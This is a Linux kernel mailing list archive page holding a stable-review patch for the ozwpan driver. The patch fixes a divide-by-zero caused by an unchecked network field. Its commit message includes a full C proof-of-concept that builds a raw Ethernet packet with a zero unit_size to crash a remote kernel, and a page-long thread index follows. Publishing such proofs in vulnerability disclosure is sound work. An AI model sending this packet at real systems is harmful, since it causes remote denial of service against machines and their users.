From: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
To: linux-kernel@vger.kernel.org
Cc: Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
stable@vger.kernel.org, "Jason A. Donenfeld" <Jason@zx2c4.com>,
Dan Carpenter <dan.carpenter@oracle.com>
Subject: [PATCH 4.0 070/105] ozwpan: divide-by-zero leading to panic
Date: Fri, 19 Jun 2015 13:36:00 -0700 [thread overview]
Message-ID: <20150619203600.245467281@linuxfoundation.org> (raw)
In-Reply-To: <20150619203558.187802739@linuxfoundation.org>
4.0-stable review patch. If anyone has any objections, please let me know.
------------------
From: "Jason A. Donenfeld" <Jason@zx2c4.com>
commit 04bf464a5dfd9ade0dda918e44366c2c61fce80b upstream.
A network supplied parameter was not checked before division, leading to
a divide-by-zero. Since this happens in the softirq path, it leads to a
crash. A PoC follows below, which requires the ozprotocol.h file from
this module.
=-=-=-=-=-=
#include <arpa/inet.h>
#include <linux/if_packet.h>
#include <net/if.h>
#include <netinet/ether.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <endian.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#define u8 uint8_t
#define u16 uint16_t
#define u32 uint32_t
#define __packed __attribute__((__packed__))
#include "ozprotocol.h"
static int hex2num(char c)
{
if (c >= '0' && c <= '9')
return c - '0';
if (c >= 'a' && c <= 'f')
return c - 'a' + 10;
if (c >= 'A' && c <= 'F')
return c - 'A' + 10;
return -1;
}
static int hwaddr_aton(const char *txt, uint8_t *addr)
{
int i;
for (i = 0; i < 6; i++) {
int a, b;
a = hex2num(*txt++);
if (a < 0)
return -1;
b = hex2num(*txt++);
if (b < 0)
return -1;
*addr++ = (a << 4) | b;
if (i < 5 && *txt++ != ':')
return -1;
}
return 0;
}
int main(int argc, char *argv[])
{
if (argc < 3) {
fprintf(stderr, "Usage: %s interface destination_mac\n", argv[0]);
return 1;
}
uint8_t dest_mac[6];
if (hwaddr_aton(argv[2], dest_mac)) {
fprintf(stderr, "Invalid mac address.\n");
return 1;
}
int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);
if (sockfd < 0) {
perror("socket");
return 1;
}
struct ifreq if_idx;
int interface_index;
strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1);
if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) {
perror("SIOCGIFINDEX");
return 1;
}
interface_index = if_idx.ifr_ifindex;
if (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) {
perror("SIOCGIFHWADDR");
return 1;
}
uint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data;
struct {
struct ether_header ether_header;
struct oz_hdr oz_hdr;
struct oz_elt oz_elt;
struct oz_elt_connect_req oz_elt_connect_req;
struct oz_elt oz_elt2;
struct oz_multiple_fixed oz_multiple_fixed;
} __packed packet = {
.ether_header = {
.ether_type = htons(OZ_ETHERTYPE),
.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
},
.oz_hdr = {
.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
.last_pkt_num = 0,
.pkt_num = htole32(0)
},
.oz_elt = {
.type = OZ_ELT_CONNECT_REQ,
.length = sizeof(struct oz_elt_connect_req)
},
.oz_elt_connect_req = {
.mode = 0,
.resv1 = {0},
.pd_info = 0,
.session_id = 0,
.presleep = 0,
.ms_isoc_latency = 0,
.host_vendor = 0,
.keep_alive = 0,
.apps = htole16((1 << OZ_APPID_USB) | 0x1),
.max_len_div16 = 0,
.ms_per_isoc = 0,
.up_audio_buf = 0,
.ms_per_elt = 0
},
.oz_elt2 = {
.type = OZ_ELT_APP_DATA,
.length = sizeof(struct oz_multiple_fixed)
},
.oz_multiple_fixed = {
.app_id = OZ_APPID_USB,
.elt_seq_num = 0,
.type = OZ_USB_ENDPOINT_DATA,
.endpoint = 0,
.format = OZ_DATA_F_MULTIPLE_FIXED,
.unit_size = 0,
.data = {0}
}
};
struct sockaddr_ll socket_address = {
.sll_ifindex = interface_index,
.sll_halen = ETH_ALEN,
.sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
};
if (sendto(sockfd, &packet, sizeof(packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
perror("sendto");
return 1;
}
return 0;
}
Signed-off-by: Jason A. Donenfeld <Jason@zx2c4.com>
Acked-by: Dan Carpenter <dan.carpenter@oracle.com>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
drivers/staging/ozwpan/ozusbsvc1.c | 5 ++++-
1 file changed, 4 insertions(+), 1 deletion(-)
--- a/drivers/staging/ozwpan/ozusbsvc1.c
+++ b/drivers/staging/ozwpan/ozusbsvc1.c
@@ -326,7 +326,10 @@ static void oz_usb_handle_ep_data(struct
struct oz_multiple_fixed *body =
(struct oz_multiple_fixed *)data_hdr;
u8 *data = body->data;
- int n = (len - sizeof(struct oz_multiple_fixed)+1)
+ int n;
+ if (!body->unit_size)
+ break;
+ n = (len - sizeof(struct oz_multiple_fixed)+1)
/ body->unit_size;
while (n--) {
oz_hcd_data_ind(usb_ctx->hport, body->endpoint,
--
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
Please read the FAQ at http://www.tux.org/lkml/
next prev parent reply other threads:[~2015-06-19 21:10 UTC|newest]
Thread overview: 117+ messages / expand[flat|nested] mbox.gz Atom feed top
2015-06-19 20:34 [PATCH 4.0 000/105] 4.0.6-stable review Greg Kroah-Hartman
2015-06-19 20:34 ` [PATCH 4.0 001/105] crush: ensuring at most num-rep osds are selected Greg Kroah-Hartman
2015-06-19 20:34 ` [PATCH 4.0 002/105] aio: fix serial draining in exit_aio() Greg Kroah-Hartman
2015-06-19 20:34 ` [PATCH 4.0 003/105] net: core: Correct an over-stringent device loop detection Greg Kroah-Hartman
2015-06-19 20:34 ` [PATCH 4.0 004/105] x86: bpf_jit: fix FROM_BE16 and FROM_LE16/32 instructions Greg Kroah-Hartman
2015-06-19 20:34 ` [PATCH 4.0 005/105] x86: bpf_jit: fix compilation of large bpf programs Greg Kroah-Hartman
2015-06-19 20:34 ` [PATCH 4.0 006/105] net: phy: Allow EEE for all RGMII variants Greg Kroah-Hartman
2015-06-19 20:34 ` [PATCH 4.0 007/105] netlink: Reset portid after netlink_insert failure Greg Kroah-Hartman
2015-06-19 20:34 ` [PATCH 4.0 008/105] rtnl/bond: dont send rtnl msg for unregistered iface Greg Kroah-Hartman
2015-06-19 20:34 ` [PATCH 4.0 009/105] tcp/ipv6: fix flow label setting in TIME_WAIT state Greg Kroah-Hartman
2015-06-19 20:35 ` [PATCH 4.0 010/105] net/ipv6/udp: Fix ipv6 multicast socket filter regression Greg Kroah-Hartman
2015-06-19 20:35 ` [PATCH 4.0 011/105] net: sched: fix call_rcu() race on classifier module unloads Greg Kroah-Hartman
2015-06-19 20:35 ` [PATCH 4.0 012/105] ipv4: Avoid crashing in ip_error Greg Kroah-Hartman
2015-06-19 20:35 ` [PATCH 4.0 014/105] bridge: fix parsing of MLDv2 reports Greg Kroah-Hartman
2015-06-19 20:35 ` [PATCH 4.0 015/105] net: dp83640: fix broken calibration routine Greg Kroah-Hartman
2015-06-19 20:35 ` [PATCH 4.0 016/105] net: dp83640: reinforce locking rules Greg Kroah-Hartman
2015-06-19 20:35 ` [PATCH 4.0 017/105] net: dp83640: fix improper double spin locking Greg Kroah-Hartman
2015-06-19 20:35 ` [PATCH 4.0 018/105] unix/caif: sk_socket can disappear when state is unlocked Greg Kroah-Hartman
2015-06-19 20:35 ` [PATCH 4.0 019/105] xen/netback: Properly initialize credit_bytes Greg Kroah-Hartman
2015-06-19 20:35 ` [PATCH 4.0 020/105] net_sched: invoke ->attach() after setting dev->qdisc Greg Kroah-Hartman
2015-06-19 20:35 ` [PATCH 4.0 021/105] sctp: Fix mangled IPv4 addresses on a IPv6 listening socket Greg Kroah-Hartman
2015-06-19 20:35 ` [PATCH 4.0 023/105] udp: fix behavior of wrong checksums Greg Kroah-Hartman
2015-06-19 20:35 ` [PATCH 4.0 024/105] tcp: fix child sockets to use system default congestion control if not set Greg Kroah-Hartman
2015-06-19 20:35 ` [PATCH 4.0 025/105] xen: netback: read hotplug script once at start of day Greg Kroah-Hartman
2015-06-19 20:35 ` [PATCH 4.0 026/105] ipv4/udp: Verify multicast group is ours in upd_v4_early_demux() Greg Kroah-Hartman
2015-06-19 20:35 ` [PATCH 4.0 027/105] be2net: Replace dma/pci_alloc_coherent() calls with dma_zalloc_coherent() Greg Kroah-Hartman
2015-06-19 20:35 ` [PATCH 4.0 028/105] bridge: disable softirqs around br_fdb_update to avoid lockup Greg Kroah-Hartman
2015-06-19 20:35 ` [PATCH 4.0 029/105] netlink: Disable insertions/removals during rehash Greg Kroah-Hartman
2015-06-19 20:35 ` [PATCH 4.0 030/105] iio: adc: twl6030-gpadc: Fix modalias Greg Kroah-Hartman
2015-06-19 20:35 ` [PATCH 4.0 031/105] iio: adis16400: Report pressure channel scale Greg Kroah-Hartman
2015-06-19 20:35 ` [PATCH 4.0 032/105] iio: adis16400: Use != channel indices for the two voltage channels Greg Kroah-Hartman
2015-06-19 20:35 ` [PATCH 4.0 033/105] iio: adis16400: Compute the scan mask from channel indices Greg Kroah-Hartman
2015-06-19 20:35 ` [PATCH 4.0 034/105] iio: adis16400: Fix burst mode Greg Kroah-Hartman
2015-06-19 20:35 ` [PATCH 4.0 035/105] iio: adis16400: Fix burst transfer for adis16448 Greg Kroah-Hartman
2015-06-19 20:35 ` [PATCH 4.0 036/105] drivers/base: cacheinfo: handle absence of caches Greg Kroah-Hartman
2015-06-19 20:35 ` [PATCH 4.0 038/105] iommu/vt-d: Allow RMRR on graphics devices too Greg Kroah-Hartman
2015-06-19 20:35 ` [PATCH 4.0 039/105] iommu/vt-d: Fix passthrough mode with translation-disabled devices Greg Kroah-Hartman
2015-06-19 20:35 ` [PATCH 4.0 040/105] ALSA: hda/realtek - Add a fixup for another Acer Aspire 9420 Greg Kroah-Hartman
2015-06-19 20:35 ` [PATCH 4.0 041/105] ALSA: usb-audio: Add mic volume fix quirk for Logitech Quickcam Fusion Greg Kroah-Hartman
2015-06-19 20:35 ` [PATCH 4.0 042/105] ALSA: usb-audio: dont try to get Outlaw RR2150 sample rate Greg Kroah-Hartman
2015-06-19 20:35 ` [PATCH 4.0 043/105] ALSA: usb-audio: add MAYA44 USB+ mixer control names Greg Kroah-Hartman
2015-06-19 20:35 ` [PATCH 4.0 044/105] ALSA: usb-audio: fix missing input volume controls in MAYA44 USB(+) Greg Kroah-Hartman
2015-06-19 20:35 ` [PATCH 4.0 045/105] ALSA: usb-audio: add native DSD support for JLsounds I2SoverUSB Greg Kroah-Hartman
2015-06-19 20:35 ` [PATCH 4.0 046/105] dmaengine: pl330: Fix hang on dmaengine_terminate_all on certain boards Greg Kroah-Hartman
2015-06-19 20:35 ` [PATCH 4.0 047/105] dmaengine: Fix choppy sound because of unimplemented resume Greg Kroah-Hartman
2015-06-19 20:35 ` [PATCH 4.0 048/105] dmaengine: at_xdmac: rework slave configuration part Greg Kroah-Hartman
2015-06-19 20:35 ` [PATCH 4.0 049/105] dmaengine: at_xdmac: lock fixes Greg Kroah-Hartman
2015-06-19 20:35 ` [PATCH 4.0 050/105] i2c: hix5hd2: Fix modalias to make module auto-loading work Greg Kroah-Hartman
2015-06-22 14:23 ` Paul Bolle
2015-06-22 15:43 ` Greg Kroah-Hartman
2015-06-19 20:35 ` [PATCH 4.0 051/105] i2c: s3c2410: fix oops in suspend callback for non-dt platforms Greg Kroah-Hartman
2015-06-19 20:35 ` [PATCH 4.0 052/105] Input: alps - do not reduce trackpoint speed by half Greg Kroah-Hartman
2015-06-19 20:35 ` [PATCH 4.0 053/105] Input: synaptics - add min/max quirk for Lenovo S540 Greg Kroah-Hartman
2015-06-19 20:35 ` [PATCH 4.0 055/105] Input: elantech - add new icbody type Greg Kroah-Hartman
2015-06-19 20:35 ` [PATCH 4.0 056/105] block: fix ext_dev_lock lockdep report Greg Kroah-Hartman
2015-06-19 20:35 ` [PATCH 4.0 057/105] block: discard bdi_unregister() in favour of bdi_destroy() Greg Kroah-Hartman
2015-06-19 20:35 ` [PATCH 4.0 058/105] USB: cp210x: add ID for HubZ dual ZigBee and Z-Wave dongle Greg Kroah-Hartman
2015-06-19 20:35 ` [PATCH 4.0 059/105] USB: serial: ftdi_sio: Add support for a Motion Tracker Development Board Greg Kroah-Hartman
2015-06-19 20:35 ` [PATCH 4.0 060/105] usb: dwc3: gadget: Fix incorrect DEPCMD and DGCMD status macros Greg Kroah-Hartman
2015-06-19 20:35 ` [PATCH 4.0 061/105] usb: host: xhci: add mutex for non-thread-safe data Greg Kroah-Hartman
2015-06-19 20:35 ` [PATCH 4.0 062/105] usb: make module xhci_hcd removable Greg Kroah-Hartman
2015-06-19 20:35 ` [PATCH 4.0 063/105] x86/asm/irq: Stop relying on magic JMP behavior for early_idt_handlers Greg Kroah-Hartman
2015-06-19 20:35 ` [PATCH 4.0 064/105] ring-buffer-benchmark: Fix the wrong sched_priority of producer Greg Kroah-Hartman
2015-06-19 20:35 ` [PATCH 4.0 065/105] MIPS: ralink: Fix clearing the illegal access interrupt Greg Kroah-Hartman
2015-06-19 20:35 ` [PATCH 4.0 066/105] MIPS: Fix enabling of DEBUG_STACKOVERFLOW Greg Kroah-Hartman
2015-06-19 20:35 ` [PATCH 4.0 067/105] MIPS: KVM: Do not sign extend on unsigned MMIO load Greg Kroah-Hartman
2015-06-19 20:35 ` [PATCH 4.0 068/105] ozwpan: Use proper check to prevent heap overflow Greg Kroah-Hartman
2015-06-19 20:35 ` [PATCH 4.0 069/105] ozwpan: Use unsigned ints " Greg Kroah-Hartman
2015-06-19 20:36 ` Greg Kroah-Hartman [this message]
2015-06-19 20:36 ` [PATCH 4.0 071/105] ozwpan: unchecked signed subtraction leads to DoS Greg Kroah-Hartman
2015-06-19 20:36 ` [PATCH 4.0 072/105] pata_octeon_cf: fix broken build Greg Kroah-Hartman
2015-06-19 20:36 ` [PATCH 4.0 073/105] ARM: dts: am335x-boneblack: disable RTC-only sleep to avoid hardware damage Greg Kroah-Hartman
2015-06-19 20:36 ` [PATCH 4.0 074/105] drm/amdkfd: fix topology bug with capability attr Greg Kroah-Hartman
2015-06-19 20:36 ` [PATCH 4.0 075/105] drm/radeon: use proper ACR regisiter for DCE3.2 Greg Kroah-Hartman
2015-06-19 20:36 ` [PATCH 4.0 076/105] drm/i915/hsw: Fix workaround for server AUX channel clock divisor Greg Kroah-Hartman
2015-06-19 20:36 ` [PATCH 4.0 080/105] Revert "drm/radeon: dont share plls if monitors differ in audio support" Greg Kroah-Hartman
2015-06-19 20:36 ` [PATCH 4.0 081/105] Revert "drm/radeon: adjust pll when audio is not enabled" Greg Kroah-Hartman
2015-06-19 20:36 ` [PATCH 4.0 083/105] serial: imx: Fix DMA handling for IDLE condition aborts Greg Kroah-Hartman
2015-06-19 20:36 ` [PATCH 4.0 084/105] of/dynamic: Fix test for PPC_PSERIES Greg Kroah-Hartman
2015-06-19 20:36 ` [PATCH 4.0 085/105] virtio_pci: Clear stale cpumask when setting irq affinity Greg Kroah-Hartman
2015-06-19 20:36 ` [PATCH 4.0 086/105] ata: ahci_mvebu: Fix wrongly set base address for the MBus window setting Greg Kroah-Hartman
2015-06-19 20:36 ` [PATCH 4.0 087/105] bus: mvebu-mbus: do not set WIN_CTRL_SYNCBARRIER on non io-coherent platforms Greg Kroah-Hartman
2015-06-19 20:36 ` [PATCH 4.0 088/105] Revert "bus: mvebu-mbus: make sure SDRAM CS for DMA dont overlap the MBus bridge window" Greg Kroah-Hartman
2015-06-19 20:36 ` [PATCH 4.0 089/105] arm64: dts: mt8173-evb: fix model name Greg Kroah-Hartman
2015-06-19 20:36 ` [PATCH 4.0 090/105] mm/memory_hotplug.c: set zone->wait_table to null after freeing it Greg Kroah-Hartman
2015-06-19 20:36 ` [PATCH 4.0 091/105] md: Close race when setting action to idle Greg Kroah-Hartman
2015-06-19 20:36 ` [PATCH 4.0 092/105] md: dont return 0 from array_state_store Greg Kroah-Hartman
2015-06-19 20:36 ` [PATCH 4.0 093/105] sched, numa: do not hint for NUMA balancing on VM_MIXEDMAP mappings Greg Kroah-Hartman
2015-06-19 20:36 ` [PATCH 4.0 094/105] blk-mq: free hctx->ctxs in queues release handler Greg Kroah-Hartman
2015-06-19 20:36 ` [PATCH 4.0 095/105] cfg80211: wext: clear sinfo struct before calling driver Greg Kroah-Hartman
2015-06-19 20:36 ` [PATCH 4.0 096/105] irqchip: sunxi-nmi: Fix off-by-one error in irq iterator Greg Kroah-Hartman
2015-06-19 20:36 ` [PATCH 4.0 097/105] x86/vdso: Fix the x86 vdso2c tool includes Greg Kroah-Hartman
2015-06-19 20:36 ` [PATCH 4.0 098/105] x86/vdso: Fix make bzImage on older distros Greg Kroah-Hartman
2015-06-19 20:36 ` [PATCH 4.0 099/105] Btrfs: send, add missing check for dead clone root Greg Kroah-Hartman
2015-06-19 20:36 ` [PATCH 4.0 100/105] Btrfs: send, dont leave without decrementing clone roots send_progress Greg Kroah-Hartman
2015-06-19 20:36 ` [PATCH 4.0 101/105] btrfs: incorrect handling for fiemap_fill_next_extent return Greg Kroah-Hartman
2015-06-19 20:36 ` [PATCH 4.0 102/105] btrfs: cleanup orphans while looking up default subvolume Greg Kroah-Hartman
2015-06-19 20:36 ` [PATCH 4.0 103/105] Btrfs: fix range cloning when same inode used as source and destination Greg Kroah-Hartman
2015-06-19 20:36 ` [PATCH 4.0 104/105] Btrfs: fix uninit variable in clone ioctl Greg Kroah-Hartman
2015-06-19 20:36 ` [PATCH 4.0 105/105] Btrfs: fix regression in raid level conversion Greg Kroah-Hartman
2015-06-20 1:12 ` [PATCH 4.0 000/105] 4.0.6-stable review Shuah Khan
2015-06-22 15:41 ` Greg Kroah-Hartman
2015-06-20 1:27 ` Guenter Roeck
2015-06-22 15:42 ` Greg Kroah-Hartman
2015-06-20 7:48 ` Sudip Mukherjee
2015-06-22 15:42 ` Greg Kroah-Hartman
2015-06-22 16:07 ` Sudip Mukherjee
2015-06-22 16:13 ` Greg Kroah-Hartman
2015-06-20 7:58 ` Heinz Diehl
2015-06-20 14:43 ` Greg Kroah-Hartman
2015-06-20 17:18 ` Heinz Diehl
2015-06-20 19:16 ` Greg Kroah-Hartman
[not found] ` <20150619203600.449494173@linuxfoundation.org>
2015-06-23 7:29 ` [PATCH 4.0 077/105] drm/i915: Dont skip request retirement if the active list is empty Jani Nikula
2015-06-24 14:58 ` Greg Kroah-Hartman
2015-06-25 7:34 ` Jani Nikula
2015-06-25 14:48 ` Greg Kroah-Hartman
2015-06-25 15:22 ` Jani Nikula
Reply instructions:
You may reply publicly to this message via plain-text email
using any one of the following methods:
* Save the following mbox file, import it into your mail client,
and reply-to-all from there: mbox
Avoid top-posting and favor interleaved quoting:
https://en.wikipedia.org/wiki/Posting_style#Interleaved_style
* Reply using the --to, --cc, and --in-reply-to
switches of git-send-email(1):
git send-email \
--in-reply-to=20150619203600.245467281@linuxfoundation.org \
--to=gregkh@linuxfoundation.org \
--cc=Jason@zx2c4.com \
--cc=dan.carpenter@oracle.com \
--cc=linux-kernel@vger.kernel.org \
--cc=stable@vger.kernel.org \
/path/to/YOUR_REPLY
https://kernel.org/pub/software/scm/git/docs/git-send-email.html
* If your mail client supports setting the In-Reply-To header
via mailto: links, try the mailto: link
Be sure your reply has a Subject: header at the top and a blank line
before the message body.
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox
Powered by JetHome